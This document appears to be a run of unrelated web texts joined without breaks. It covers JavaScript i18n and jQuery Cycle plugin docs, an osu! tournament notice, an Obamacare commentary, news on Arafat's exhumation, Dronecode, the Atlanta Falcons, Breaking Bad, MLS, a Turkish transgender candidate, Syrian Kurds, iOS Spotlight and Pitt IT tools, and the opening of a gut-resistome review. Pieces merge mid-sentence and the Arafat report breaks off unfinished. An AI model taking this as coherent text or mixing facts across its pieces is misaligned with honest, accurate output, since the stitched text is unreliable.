Namespaces can be as deep as you need.
var en_locales = {'hello_world': {'hello':'Hello ','world':'World'} }; var fr_locales = {'hello_world': {'hello':'Bonjour ','world':'Monde'} }; // i18n.add(language, [namespace,] locales); i18n. add ('en ','first_level_namespace ', en_locales); i18n. add ('fr ','first_level_namespace ', fr_locales);
Change language
By default, language is set to en.
i18n.setLang('fr');
Get current language
i18n.getCurrentLang();
Get dictionary
i18n.getDico();
Check for availability
If needed, you can also check for the presence of a specific localized string in a particular language.
You can check only the language too.
// i18n.has([key,] lang) i18n.has('first_level_namespace.hello_world.hello ','en'); // true i18n.has('first_level_namespace.hello_world.hello'); // true i18n.has('en'); // true i18n.has('de'); // false i18n.has('hello_world.bye ','en'); // false i18n.has('test'); // false
List available languages
i18n.listLangs(); // ['en', 'fr']
Get basic localized string
// i18n.get(key[, data, options][, lang]); i18n.get('first_level_namespace.hello_world.hello'); // Hello i18n.get('first_level_namespace.hello_world.hello ','fr'); // Bonjour
Get templated string
It uses a basic templating engine, the same as underscore.
It works in the form of {{=interpolate}}, {{evaluate}} or {{-escape}} :
// localized strings var en_locales = {'st':'{{=interpolate}}{{for(var i = 0, max = 5; i < max; i += 1) {}} to{{}}} {{-escape}}'}; // context used in the templated string var data = {'interpolate':'Hello ','escape':'\' <the> \' `&` "World"'}; // register the localized string i18n. add ('en ', en_locales); // give it a context with the data object var st = i18n.get('st ', data); // "Hello to to to to to '<the>' `&` "World""
Change delimiters
You can also change delimiters by passing the third options arguments
var st = i18n.get('st ', data, { evaluate : / <%( [ \s\S ] +? )%> / g ; interpolate : / <%=( [ \s\S ] +? )%> / g ; escape : / <%-( [ \s\S ] +? )%> / g ; });
Will result in these delimiters <%=interpolate%>, <%evaluate%> or <%-escape%>
Add default values for templates
If you need to have a special key always replaced by the same value (a brand for example), you can set it as a default.
This key will be then replaced across your application's localized strings and you won't need to pass it as a context object to your.get().
var fr = { welcome :'Bienvenue sur {{=brand}}'}; var en = { welcome :'Welcome to {{=brand}}'}; var defaults = { fr : { brand :'Ma Marque'}, en : { brand :'My Brand'} }; i18n. add ('fr ', fr); i18n. add ('en ', en); i18n.setDefaults(defaults); i18n.get('welcome') //Welcome to My Brand
You don't have to use localized defaults if you don't need to :Welcome to my first tournament ever, the Nightshiftt Cup!
~Rules & Info~
> Night Cup is a 1v1 tournament featuring ScoreV2
> Up to 64 players can play!
> There is NO rank limit!
> Seeded groupstage to RO32 double elimination!
> You MUST join the Discord server to participate
> All matches are in UTC
> In the case of excess registrants, higher ranks are prioritized. Date of registration is irrelevant
> After 10 minutes of a player not showing to the match, the other player will recieve 1 point, after 20 minutes of no-show it's an auto-loss
> During group stage, only the top 2 out of the 4 players will advance from each group
~Dates~
Signups 10/29 - 11/5
Drawings & Mappool 11/9 (announced on Discord server)
Groupstage 11/11
~Prizes~
> 1st place: 6 Months of osu! supporter and a less than 25 dollars worth game on steam (free to choose)
> 2nd place: 4 Months of osu! supporter
> 3rd place: 1 Month of osu! supporterAfter 2013 came to an end, and Obamacare enrollees became Obamacare beneficiaries, Republicans began pegging all of their hopes on the possibility that Obamacare's botched rollout would ultimately prove unrecoverable. Repeal had just become synonymous with rescinding insurance benefits, so that option was at last really, truly out. Replace isn't happening in today's policy-phobic GOP. So the right's last best hope is that the law will collapse on its own, or perhaps with the help of an ongoing campaign to discourage enrollment. Obamacare is designed to absorb certain shocks, but maybe the October and November blows will prove in hindsight to have been too devastating for the system to withstand.
New data from the Department of Health and Human Services, industry testimonials, and other recent developments suggest that wish, too, is dead, and that all of the right's efforts to undermine the law are now wholly gratuitous. The Affordable Care Act isn't going to collapse no matter what conservatives do.
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You wouldn't know that from listening to Republicans this week.
After establishing a new convention of Obamacare enrollment unskewing at the beginning of the year, and then retreating from Obamacare spin for a few days, Affordable Care Act opponents have returned with a vengeance to argue that new data from the Department of Health and Human Services is a harbinger of doom for the law.
For the first time since the open-enrollment period began in October 2013, HHS officials provided reporters with information about the demographic composition of enrollees through December, and the short version of the story is that if the enrollment period were to end right now, beneficiaries in states across the country would be significantly older (and, thus, likely less healthy) than the administration initially believed they ultimately needed to be to steady or reduce premiums.
Like campaign operatives celebrating polls a year out from an election, Republicans haven't been able to resist the urge to spin the numbers as if they're proxies for final 2014 enrollment figures. But unlike polling data, which bounces around unpredictably over the course of a campaign, enrollment in a program like Obamacare tends to follow a predictable pattern -- and HHS data actually suggests conservatives have already lost.
Of the nearly 2.2 million applicants who enrolled before Jan. 1, 30 percent are under the age of 35 and 24 percent are in the crucial 18-34-year-old age band. These percentages are lower in some states than others, which means some marketplaces face a heavier lift if they hope young people ultimately compose 38 percent of their risk pools by the end of March. And basically marketplaces will be trying to make up some ground in the next two and a half months.
But they almost certainly will. And even if they don't -- even if 2014 enrollees look exactly like 2013 enrollees -- the pools are probably already diverse enough to preclude the premium spike, and death spiral, conservatives are hoping for. "Overall costs in individual market plans would be about 2.4 percent higher than premium revenues," according to the a Kaiser Family Foundation analysis, which would normally augur for a small increase in premiums -- except the law includes backstops to cover a modest shortfall like that.
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In other words, nationwide premiums probably aren't going up at all next year, and might even drop if young people flood the program in the closing weeks of enrollment.
That's exactly what experts predict will happen, based largely on Massachusetts' own healthcare reform experience -- which, of course, doesn't account for the White House's unparalleled ability to move message. After everything that happened in October and November, and missteps that continue to this day, it makes sense for both allies and opponents to doubt that the administration and its allies can execute the rest of the rollout flawlessly. But the one thing they're most likely to get right is targeted outreach.
Those efforts are just ramping up now, delayed by Healthcare.gov's two month failure.
Compare current enrollment figures from Healthcare.gov and non-Healthcare.gov states, and it's clear that the website failure has artificially depressed signups. Healthcare.gov's December enrollment surge didn't make up for all of that lost time, but the surge itself indicates the effective outage didn't undermine demand for insurance. Taken together it stands to reason the administration and reform allies won't have a hard time reaching willing consumers, and that those customers will be overrepresented by younger people.
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They might still fall short of their goals, but not nearly far enough to threaten the integrity of the system. If Obamacare faced the real threat of collapse, insurers would probably be panicked. But at an industry conference in San Francisco on Tuesday, executives were cautiously optimistic about enrollment totals and composition, and much more optimistic that the exchanges are real growth opportunities and will be functioning profit centers in the years ahead.
Obviously Republicans aren't going to give up campaigning on Obamacare failures unless and until they can no longer derive any political advantage from it. Given the right's fanaticism about the law they might keep it up for longer than that. But at this point their parallel efforts to curb enrollment stand only to harm the people who listen to them and take them seriously.
Update: The industry conference referenced in the article is taking place in San Francisco, not New York. We regret the error.Check out Cycle2, the latest in the Cycle line of slideshows.
Overview
How it Works
cycle
Demos
shuffle $('#shuffle').cycle({ fx:'shuffle', easing: 'easeOutBack', delay: -4000 }); zoom $('#zoom').cycle({ fx: 'zoom', sync: false, delay: -2000 }); fade $('#fade').cycle(); turnDown $('#slide').cycle({ fx: 'turnDown', delay: -4000 }); curtainX $('#up').cycle({ fx: 'curtainX', sync: false, delay: -2000 }); scrollRight (click) $('#right').cycle({ fx:'scrollRight', next: '#right', timeout: 0, easing: 'easeInOutBack' });
The jQuery Cycle Plugin is a slideshow plugin that supports many different types of transition effects. It supports pause-on-hover, auto-stop, auto-fit, before/after callbacks, click triggers and much more. It also supports, but does not require, the Easing Plugin The plugin provides a method calledwhich is invoked on a container element. Each child element of the container becomes a "slide". Options control how and when the slides are transitioned.
Images are used in these demos because they look cool, but slideshows are not limited to images. You can use any element you want.
Browse Effects
See More Demos and Examples
Options
cycle
Use the Effects Browser page to preview the available effects.The Cycle Plugin provides many options for customizing your slideshow. The default option values can be overridden by passing an option object to themethod, by using metadata on the container element, or by redefining the values in your own code.
For more about options, see the Options Reference page.
FAQ
Acknowledgements
Special thanks to Torsten Baldes, Matt Oakes, and Ben Sterling for the many ideas that got me started on writing Cycle in 2007.The body of Yasser Arafat will be exhumed so that tests can determine whether he died after being poisoned with the radioactive metal polonium-210 (see the Guardian).
Arafat was President of the Palestinian National Authority when he died on 11 November 2004, after falling ill about two weeks earlier with what was initially described as flu. His condition deteriorated rapidly, however, and he was transferred to a hospital in France, where he spent his final days in a coma. Despite a plethora of rumours, his death has remained unexplained.
Al Jazeera reported yesterday that tests on Arafat’s personal belongings had found abnormally high levels of polonium-210, the radioactive element used to kill former Russian spy Alexander Litvinenko in 2006. Polonium-210 emits alpha particles that can tear through cells, damaging DNA and causing radiation poisoning. Since alpha particles cannot penetrate skin, polonium has to be ingested to have fatal effects. In Litvinenko, it initially caused vomiting, diarrhoea and weight loss — symptoms that Arafat also experienced.
Al Jazeera had approached the Institute of Radiation Physics in Lausanne, Switzerland, on behalf of |
in a commercial setting will occur, Hale told LinuxInsider.
Project Highlights
Three technical work groups announced this week will advance the technology. They focus on UAVs -- camera and gimbal controls, airspace management, and hardware/software interfaces.
The MAVlink Camera Working Group's mission is to assist camera manufacturers in implementing the MAVlink protocol in cameras. It also will help developers and manufacturers expand the Dronecode platform to support additional cameras and functions.
The Dronecode Airspace Working Group's aim is studying the impact of proposed Federal Aviation Administration rules that would ban drone operations over large areas of U.S. airspace.
The Hardware Working Group's purpose is formulating mechanical and electrical standards for interfaces to the autopilot and the peripherals. That will create a more formal interface between hardware and software development and unite efforts between Dronecode members and the open source developer community working to advance UAVs, the Linux Foundation said.
"I expect we will see more technical working groups form as the platform evolves," said 3DR's Anderson.
Around the Horizon
The biggest priority for this year is probably modularization, he said. Ultimately, success will hover around the creation of a single install file to make a Dronecode stack by enabling desired components with checkboxes.
"We are also amid an evolution from 32-bit processors to systems built on Linux (and even Android) that run powerful multicore 64-bit processors, such as the Qualcomm Snapdragon Flight board," Anderson said.
Both the project and commercial drone use in general face numerous obstacles in establishing the necessary guidelines and technology to keep commercial drones from being a danger to the public, noted Rival Drones' Hale.
"However, with more organizations getting on board with the Dronecode project, it's clear that we are moving closer and closer to a platform that will ensure safety," he said, "and that will lead to a wide range of uses for drones in a commercial setting."
Jack M. Germain has been writing about computer technology since the early days of the Apple II and the PC. He still has his original IBM PC-Jr and a few other legacy DOS and Windows boxes. He left shareware programs behind for the open source world of the Linux desktop. He runs several versions of Windows and Linux OSes and often cannot decide whether to grab his tablet, netbook or Android smartphone instead of using his desktop or laptop gear. You can connect with him on Google+.FLOWERY BRANCH, Ga. -- The Atlanta Falcons started their youth movement Friday by ditching three key players from the most successful era in franchise history.
The Falcons released running back Michael Turner, defensive end John Abraham and cornerback Dunta Robinson, moves that were not unexpected given their age (all in their 30s) and hefty salaries.
Turner was officially released for a failed physical in the official league transactions Friday.
Still, it was a stunning start to Atlanta's offseason makeover, especially for a team that came up just short of the Super Bowl, losing to San Francisco in a thrilling NFC Championship Game. In one swoop, the Falcons let go their top rusher, their leader in sacks, and a starter in the secondary.
"These are never easy decisions to make," general manager Thomas Dimitroff said. "A lot of thought goes into these type of decisions."
The moves free up about $16 million in salary cap space, money that Dimitroff intends to use to build a younger roster. Last year, the Falcons were one of the oldest teams in the league.
"They were business decisions," he said. "They were decisions made for us to continue to look at the direction of this football team. We have a number of positions that we need to hone in on, whether if it's in the draft or potentially acquiring (players) in free agency. That's all that I can really say at this point, because there are a lot of moving parts."
Dimitroff said the moves had "very little" to do with whether Tony Gonzalez might return in 2013. The tight end indicated all last season that he was likely to retire, but has not made a final decision. He said it likely would be well into the offseason before he makes anything official.
The 31-year-old Turner was the first big free-agent signing under the Dimitroff-Smith regime in 2008. The bruising back rushed for 1,699 yards his first season and more than 1,300 yards two other years. But his playing time dipped dramatically in 2012 as the Falcons gave more carries to a totally different kind of back, Jacquizz Rodgers, who provided more speed and quickness.
Turner rushed for 800 yards this past season, the lowest of his five-year Atlanta stint, with 10 touchdowns. He averaged a career-low 3.6 yards per carry.Aaron Paul has discussed his final scene at the midway point of the most recent season of Breaking Bad.
The AMC drama wrapped up the first half of its split fifth season earlier this month with 'Gliding Over All', and Paul's character Jesse ended it on a crucial, fraught interaction with Walt (Bryan Cranston).
Speaking to Digital Spy about the season, Paul revealed that a crucial aspect of that scene - in which it is revealed that Jesse is now so afraid of Walt that he keeps a gun concealed during their conversation for self-defence - was not in the script, but added during shooting.
"The day before we shot that scene, Moira [Walley-Beckett], our writer, said, 'Hey, we're adding something to the start of the scene'," Paul explained.
"'We're gonna have you walk out and look like you're gonna grab something, and then at the end of the scene when you grab the bag, you're going to slump against the wall and pull out a gun. So you've grabbed that gun to protect yourself'."
Paul went on to suggest that it had been added to give the audience some indication of what Jesse's state of mind will be during the final eight episodes, which are yet to be filmed.
"That wasn't originally in the script, so they placed that in there to reveal a little bit of what is to come in the final eight, and where Jesse's at in his head," he explained.
Asked whether he has any idea about what else might be to come in the final stretch of episodes, Paul admitted: "I don't even know if the writers know.
"They just went back into the writers' room not that long ago - they're just trying to figure it out themselves. But I think it's gonna stay in the same pattern, and be the most intense season yet.
"I'm really excited, and somewhat devastated, to see how it all ends."
The final eight episodes will air on AMC in the US in summer 2013.
> 'Breaking Bad' Aaron Paul interview: 'Every season is the darkest yet'
> 'Breaking Bad' creator Vince Gilligan: 'I am stressed about finale'
The fourth season of Breaking Bad is available in the UK now on Netflix, and on DVD from October 1.
Watch a promo for the mid-season finale below:Don Garber licked his finger and pointed it in the air.
“You don’t just go like this and come up with something smart,” he said.
For Garber, the commissioner of Major League Soccer, it’s difficult to devise strategies for how to manage the highest level of professional soccer in the United States and Canada. With 17 teams in the U.S. and three in Canada, MLS soccer has grown mightily since its inception in 1993.
While he said he’s happy with the progress MLS has made, Garber is looking at the future of the league five, 10 and 20 years from now. That was the main focus of Garber’s address to the Syracuse University community on Tuesday night in Hendricks Chapel as part of the University Lectures Series.
“The league is doing very well, but we have a lot of work to do,” Garber said.
The discussion was moderated by Rick Burton, a professor of sport management in the David B. Falk College of Sport and Human Dynamics. Burton asked a series of questions on topics such as the recent FIFA scandal, how MLS targets its fans and how it develops its players.
Garber became MLS commissioner after a 16-year career with the National Football League, where he finished as senior vice president of NFL International. When Garber became MLS commissioner in 1999, the league comprised 10 teams, he said. Now, the league has 20 teams across the U.S. and into Canada. In 2014, Garber helped MLS secure media rights with ESPN, Fox Sports and Univision Deportes, he added.
Five former SU men’s soccer players have been drafted by MLS teams in the last two years. In January, former SU standouts Julian Buescher and Ben Polk were selected in the first round of the MLS SuperDraft by D.C. United and the Portland Timbers, respectively. The pair helped SU reach the Final Four in 2015.
Garber began the discussion by saying he’s proud of the way MLS handled the FIFA corruption scandal, which erupted last year after U.S. authorities disclosed cases of corruption.
When Garber licked his finger and pointed it in the air, he was referring to MLS’s challenge of attracting a younger audience. Millennials want an urban experience, he said, where they can take the subway or ride a bike to the game. Many millennials grew up with soccer and can relate to it more than people of older generations, he added.
“It is a sport for this new America,” Garber said. “I wholeheartedly believe you are consuming it in different ways than your parents did.”
How consumers get to games, buy tickets and consume content are just some of what MLS is researching, he said. On a similar note, Garber later outlined MLS’s analytics strategies. In practice, every player wears a small monitor on the back of his jersey to help researchers examine fitness levels, among other measurements, he said.
“We have to improve quality of play,” he said. “How long it takes a player to touch and distribute, scoring percentages, (we) have been tracking that. People sit in an office looking at (that) in real and post time, taking all that information, spinning it out.”
He also touched on MLS’s theme of driving a soccer nation in America. The soccer culture, he said, is what makes the sport different. He said proud fans, such as those who stand in pouring rain for 90 minutes to watch their favorite team, are special.
One of Garber’s biggest challenges is developing and retaining world-class players, he said. In the U.S., the traditional trajectory is for soccer players to attend college and work toward a degree while playing the game. Elsewhere around the globe, though, players become professionals at younger ages, he said.
To fix that, MLS has begun to invest more in academies starting at age 14. Garber said teams are spending upwards of $8 million to $10 million a year in player development.
“It’s going to take time before we develop players as good as the Germans,” he said. “Belgium has a cultural dynamic that we don’t yet have. How do you have (a) player think about nothing else but the team when they’re 16? That culture doesn’t yet exist and it will take some time before that happens.”
Garber also talked about MLS’s expansion into new cities, virtual reality and the FIFA soccer video game’s impact on MLS and soccer overall.Others laugh at her when she delivers a speech, and every day her voicemail and email inbox fill up with threats. But, despite the risks she faces, Ms Ozenen is determined to make history: if she succeeds at next month’s parliamentary elections, set for 7 June, she will become Turkey’s first transgender MP.
Ms Ozenen hopes to give a voice to the country’s LGBT (lesbian, gay, bisexual and transgender) rights movement and fight discrimination amid the country’s growing political conservatism. “If we are waiting for Turkish society to get ready for us, we’ll wait a long time,” the 37-year-old said. “We are going against the tide. We are trying to get our rights and we don’t care if society is ready for this or not.”
While Turkey is home to a flourishing LGBT community and hosts the biggest gay pride parade in the Muslim world, transgender people face a multitude of obstacles in day-to-day life, from employment to housing. They can legally undergo sex-change operations, but only if preceded by sterilisation. No law exists banning hate crimes or discrimination based on gender identity or sexual orientation, which can make finding work difficult for transgender individuals, and many end up working in the sex industry.
Although she now works as a translator, Ms Ozenen had little choice when she was faced with poverty some years ago and ended up going down that path. Sex work, she said, was like torture for her, and during that time she was kidnapped and also faced beatings.
17 May is the annual International Day Against Homophobia, Transphobia and Biphobia, which was created in 2004 as a “celebration of sexual and gender diversities”. Ahead of the day, the campaign group Transgender Europe released a report claiming that, between 2008 and 2014, there were “more than 1,700 reported killings of transgender and gender- diverse people” around the world. The number of murdered transgender people in Turkey, at 37 according to the group, was the highest total in Europe.
Living in the relatively liberal city of Izmir offered some protection, Ms Ozenen said. There would be danger living in other regions. “If I were in central Anatolia, I would be dead,” she said. “In Kayseri, in eastern Turkey, I would be shot in the first week of my political career. Even walking on the street there, I would be killed.”
Even Izmir can be a dangerous place. Only two weeks ago, a transgender woman was stabbed in the back there, and Ms Ozenen says she is regularly threatened and harassed.
“I’m discriminated against for being a transsexual and for being lesbian, because even though some people accept me as a transsexual, when they learn that I’m also lesbian they’re shocked,” she said. “And I’m also Christian. I’m accustomed to discrimination and all kinds of insults.”
Ms Ozenen’s goal is to introduce a law specifically banning hate crimes and discrimination based on gender identity.
Encouraged by their role in the 2013 Gezi Park protests – which began in May of that year as a protest to stop the redevelopment of Istanbul’s Taksim Square and Gezi Park and snowballed into nationwide anti-government demonstrations – activists have since created a number of new LGBT organisations. Also, earlier this year, an Istanbul-based group opened Turkey’s first shelter for transgender women.
“We are more and more visible, and more people know what our needs and issues are. But, at the same time, there is an increasing conservatism, which may lead to a backlash against the community,” said Kemal Ordek, a long-time transgender rights activist.Syria’s main Kurdish militia on Tuesday issued a call to arms to all Kurds to fight jihadists after the assassination of a Kurdish leader, a watchdog said.
“The Committees for the Protection of the Kurdish People (YPG) called on all those fit to carry weapons to join their ranks, to protect areas under their control from attacks by Islamic State of Iraq and the Levant (ISIS) fighters, Al-Nusra Front and other battalions,” the Syrian Observatory for Human Rights said.
The Kurdish call comes hours after Isa Huso, a member of the Supreme Kurdish Council diplomacy committee, was assassinated as he left his house in the Syrian Kurdish city of Qamishli, a pro-Kurdish news agency said.
The Supreme Kurdish Council is a platform bringing together Kurdish groups in Syria.
The call to arms comes weeks into fighting between Kurds and jihadists in several areas of northern Syria.
Last Update: Tuesday, 30 July 2013 KSA 18:42 - GMT 15:42The new iOS 8.0 has been released and it comes with a host of new features, but at least one of them looks suspiciously like something used in Ubuntu for years.
It's not something out of the ordinary for an operating system to copy some features used in a different one. In fact, this is done on a constant basis and it's one of the reasons all the current OSes are somewhat similar. That is especially useful when someone implements a feature that turns out to be immensely useful. That will land in other OSes sooner or later.
The new iOS 8.0 brings numerous features, but it stays true to its form and it doesn't stray too far from the original path. It's not all about fixes and changes, as some new features have been added as well. One in particular has drawn our attention because it sounds very familiar: the new Spotlight search.
Out with the old, in with the new from others
iOS users now have a more comprehensive Spotlight search feature that should prove to be much more powerful and more encompassing. Users are now greeted with this message: "In addition to searching your iPhone, Spotlight now shows suggestions from the Internet, iTunes, App Store, locations nearby, and more. You can change this in Settings. Learn more..."
Maybe the resemblance is not obvious right from the start, but let's imagine, just for a moment, that we change just two words in that paragraph. It might sound like this: "In addition to searching your Ubuntu, the Dash now shows suggestions from the Internet, iTunes, App Store, locations nearby, and more. You can change this in Settings. Learn more..."
Granted, the Ubuntu Dash doesn't provide information from iTunes, but you get the idea. Online searching has been implemented in the Dash for a few years now and it's been refined over time. There have been some security issues in the beginning that got fixed, but the same can't be said about Spotlight.
Online search is not secure by default
What happens with the searches made by users? Are they stored by Apple, discarded, or shared with partners for a better user experience? There are some serious security questions that have to be asked, but it's uncertain if iOS users will do that.
The fact that it resembles the search implemented in Ubuntu is less important, although it wouldn't kill them to say "hey, we saw this cool feature in Ubuntu and we really wanted to have it." That's all it takes.All together now…
Two new collaboration tools are being made available for Pitt computer users.
Computing Services and Systems Development (CSSD) is planning a Feb. 18 launch of cloud storage service “Box for Pitt” and an audio, video and web-conferencing tool Microsoft Lync.
Jinx Walton, Pitt’s chief information officer, said faculty, staff and students will have access to the free services via the my.pitt.edu portal.
Box for Pitt
Some computer users may be familiar with Box, which enables users to store files securely online where they can be accessed or shared from anywhere there is an Internet connection. Storage can be synced to a user’s desktop; mobile interfaces are available for devices including the iPad, iPhone and Android.
Pitt users will get a 25GB allocation free — most people use less than 1GB, Walton said — and will have the opportunity to buy additional space if they need it.
She said that Box is being used by more than 30 research institutions that, like Pitt, are part of the Internet2 consortium. Because Box has gained acceptance in higher education, applications useful in the research university environment are among those being developed, she said.
In a recent presentation to Pitt IT staff, CSSD enterprise architect Dan Menicucci noted that Box for Pitt has the advantage of allowing users to tag content and to invite collaborators — within the University or beyond— to share certain files or folders.
He cautioned that although Box for Pitt is secure, it is not meant for storing sensitive data such as passwords, financial information, research data, personal information or confidential University computer data.
Guidelines for what is sensitive information and more details on Box for Pitt can be found at technology.pitt.edu/box.
Lync
Microsoft Lync, which also will be made available for free, Menicucci said, “is a Swiss army knife of tools and functionalities.”
Lync enables instant messaging (IM) as well as conference call-style audio conferencing, video conferencing and web conferencing (including the ability to upload presentations, conduct polls, share screens and use whiteboards). Conferences can be scheduled in advance or occur ad hoc, he said.
Lync also has color-coded “presence” functions to indicate a user’s reachability, which helps others know before emailing or phoning whether a colleague is available at his or her desk.
Users can manage a directory photo, which Menicucci said can be an aid to collaboration, noting that people tend to engage better when they can see what their colleagues look like.
Users can opt to use their Pitt ID photo, upload their own photo, or simply be represented by a generic silhouette.
Walton said there is demand among University users for IM. “We’ve had a lot of requests from faculty and staff asking for recommendations for instant messaging programs.”
She said Lync will replace WebEx for Pitt’s web conferencing services, adding that WebEx, which came with a cost to users, was implemented by some units but not used as widely as had been hoped.
“The goal is to make [the services] accessible to everyone,” Walton said. “We don’t want people shut out due to budget limitations.”
Menicucci said that although Lync is replacing WebEx as Pitt’s web conferencing solution, users who prefer WebEx can set up their own contracts to continue using it.
Details on Lync can be found at technology.pitt.edu/lync.
—Kimberly K. BarlowIn recent decades, the emergence and spread of antibiotic resistance among bacterial pathogens has become a major threat to public health. Bacteria can acquire antibiotic resistance genes by the mobilization and transfer of resistance genes from a donor strain. The human gut contains a densely populated microbial ecosystem, termed the gut microbiota, which offers ample opportunities for the horizontal transfer of genetic material, including antibiotic resistance genes. Recent technological advances allow microbiota-wide studies into the diversity and dynamics of the antibiotic resistance genes that are harboured by the gut microbiota (‘the gut resistome’). Genes conferring resistance to antibiotics are ubiquitously present among the gut microbiota of humans and most resistance genes are harboured by strictly anaerobic gut commensals. The horizontal transfer of genetic material, including antibiotic resistance genes, through conjugation and transduction is a frequent event in the gut microbiota, but mostly involves non-pathogenic gut commensals as these dominate the microbiota of healthy individuals. Resistance gene transfer from commensals to gut-dwelling opportunistic pathogens appears to be a relatively rare event but may contribute to the emergence of multi-drug resistant strains, as is illustrated by the vancomycin resistance determinants that are shared by anaerobic gut commensals and the nosocomial pathogen Enterococcus faecium.
1. The gut microbiota: a complex ecosystem and a reservoir for antibiotic resistance genes
Antibiotics have become a cornerstone of medicine in the decades since the Second World War, but even before humans initiated the industrial production and widespread use of antibiotics, they have existed in nature for hundreds of millions of years [1]. In natural environments, antibiotics may incapacitate bacteria that compete for scarce resources and thus provide a selective benefit for the producing strain. In addition, antibiotics could function as signalling molecules which may trigger bacterial developmental processes, such as biofilm formation, that contribute to survival [2,3]. Resistance to antibiotics may arise in a population of susceptible bacteria by the accumulation of mutations (e.g. point mutations in DNA gyrase conferring resistance to quinolones) or by the acquisition of resistance genes that protect the cell against antibiotics. Antibiotic resistance genes can cause phenotypic resistance through a variety of mechanisms, including the enzymatic inactivation of the antibiotic, the modification of the antibiotic target and the prevention of the accumulation of lethal intracellular concentrations of the antibiotic through efflux pumps [4,5]. Just as antibiotics have been present in the environment for aeons, antibiotic resistance genes are ancient too, as illustrated by the estimated emergence of the serine β-lactamases over 2 billion years ago [6]. Horizontal transfer of antibiotic resistance genes also pre-dates the human use of antibiotics, as OXA-type β-lactamases have already been carried on plasmids and have moved between bacterial phyla for millions of years [7]. It should be noted, however, that a gene that confers antibiotic resistance may have an entirely different function in its original bacterial host, as is illustrated by the 2′-N-acetyltransferase encoding gene in the Gammaproteobacterium Providencia stuartii. This enzyme is involved in the modification of peptidoglycan, but because aminoglycoside antibiotics are structurally similar to the natural substrate of 2′-N-acetyltransferase, the enzyme can also inactivate aminoglycosides, providing intrinsic resistance to this class of antibiotics to P. stuartii [8]. Only when such ‘accidental resistance genes’ are mobilized and transferred to other bacterial hosts, can they contribute to the proliferation of antibiotic resistant human pathogens [3]. Currently, antibiotic resistance among human pathogens has become a major threat to modern medicine and there is considerable interest to identify the niches in which bacteria can gain antibiotic resistance genes and the mechanisms by which horizontal transfer of resistance genes occur.
The human body is populated by an estimated 1014 bacteria, including harmless symbionts, commensals and opportunistic pathogens [9]. Different body habitats exhibit differences in bacterial composition, presumably reflecting the different micro-environments of the human body [10]. The human gastrointestinal tract harbours a large and diverse bacteria population, which has an important role in human health and disease. The number of bacteria varies along the length of the gastrointestinal tract, ranging from less than 103 bacteria ml−1 in the stomach and the duodenum, increasing to 104–107 bacteria ml−1 in the jejunum and ileum. The highest bacterial load is reached in the colon where 1011–1012 bacteria ml−1 are present [9]. The human gut thus harbours a complex microbial ecosystem, which consists of hundreds of species, collectively termed the gut microbiota. The gut microbiota is relatively stable in healthy adults but the composition of the gut microbiota can change rapidly owing to dietary changes, illness and the use of antibiotics [11,12].
The large majority of the bacteria that populate the human gut are strictly anaerobic. Two phyla, the Bacteroidetes and Firmicutes, commonly dominate the gut microbiota of healthy adults. Bacteria from these phyla perform functions that are important for the host, such as the production of vitamins and the degradation of complex carbohydrates from the diet. In addition, several facultatively anaerobic bacteria, like those from the families Enterobacteriaceae and Enterococcaceae are ubiquitous members of the human gut microbiota, but generally at levels that are considerably (at least 100-fold) lower than those of the strictly anaerobic gut commensals [13,14]. The Enterobacteriaceae and Enterococcaceae are of particular interest because organisms from these groups, such as Escherichia coli, Klebsiella pneumoniae, Enterococcus faecalis and Enterococcus faecium have emerged as multi-drug resistant nosocomial pathogens of major importance in the last few decades [15,16]. Evidently, the gut can serve as a reservoir for opportunistic pathogens, which may cause infections in immunocompromised individuals. The gut's role as a source of opportunistic pathogens is particularly relevant for hospitalised patients, which are at high risk of developing infections. The large quantities of antibiotics that are used in the treatment of this patient group may select for multi-drug resistant opportunistic pathogens in the gut microbiota. Opportunistic pathogens from the gut may cause infections by translocating across the intestinal barrier or, after faecal contamination of skin and other body sites, may cause infections upon placement of a catheter or an intravenous line [15,17].
Because bacterial populations in the human gut are large and share a similar ecology, there is ample opportunity for the transfer of genetic material [18]. Consequently, there is considerable interest to characterize the antibiotic resistance gene reservoir (‘the resistome’) of the human gut microbiota and to understand to what extent the antibiotic resistance genes can spread between different members of the gut microbiota, particularly between commensals and opportunistic pathogens [19]. In this review, I will highlight recent studies that have used metagenomic approaches to identify and quantify antibiotic resistance genes in the bacteria that populate the human gut. The mechanisms and extent by which antibiotic resistance genes that are harboured by anaerobic commensals can transfer to opportunistic pathogens are also discussed.
2. Methods to study the human gut resistome
Methodological approaches for the study of the resistome are outlined in figure 1 and are further discussed below. Notably, all current methods to describe the human gut resistome in terms of type and abundance of antibiotic resistance genes are by themselves inadequate to fully characterize the reservoir of resistance genes and the genetic determinants that are associated with the resistance genes. Therefore, a combination of different methodologies should be used if one wants to fully characterize the human gut resistome. Figure 1. Methods for the analysis of the human gut resistome. Starting from a faecal sample, the resistome can be sampled by culture, through targeted detection of resistance genes (by polymerase chain reaction (PCR) or microarray hybridization), by metagenomic sequencing and by functional metagenomics. Further details of these methods are discussed in the text.
Bacteria from the human gut can be analysed through laboratory culture and subsequent characterization of the isolated strains. Culture-based studies from the 1970s and 1980s have shown that anaerobic gut commensals from the orders Bacteroidales and Clostridiales can carry antibiotic resistance determinants. These bacteria can not only transfer antibiotic resistance genes in vitro to closely related bacteria, but also to opportunistic pathogens [20–23]. Nevertheless, the isolation and laboratory culture of gut bacteria has long been believed to be practically impossible [24] and consequently there is a lack of information on the antibiotic resistance genes in gut commensals and whether these genes are linked to mobile genetic elements. Recently, important advances have been reported in the laboratory culture of a wide variety of gut commensals [25–27], which has opened up the possibility of performing culture-based analyses of antibiotic resistant bacteria from the gut microbiota. Comparative genomic studies of intestinal bacteria that serve as reservoirs of antibiotic resistance genes have been performed for the Bacteroidales [28] and Enterococcaceae [29,30]. However, culture-based studies to comprehensively map and characterize the bacteria that carry antibiotic resistance genes in the human gut still remain to be performed and it is as yet unclear whether culture-based methodologies can truly capture the entire complement of antibiotic-resistant bacteria in the human gut.
In addition to laboratory culture, several culture-independent approaches exist that can be used to probe the antibiotic resistance gene reservoir of the gut microbiota by using DNA that is isolated from faecal samples (figure 1). Resistance genes from the gut microbiota can be detected and quantified by quantitative PCR [31,32] or by microarray hybridisation [33,34]. These methods provide a relatively fast overview of the presence and abundance of the targeted antibiotic resistance genes, but they are limited in their ability to detect genes of which the sequence is not fully complementary to the primers and probes and they will, by definition, not provide information on the presence of antibiotic resistance genes that are not targeted by the primer pairs or probes. In addition, PCR and microarray methodologies do not provide information on the genetic context of the resistance genes or the bacterial hosts of the resistance genes.
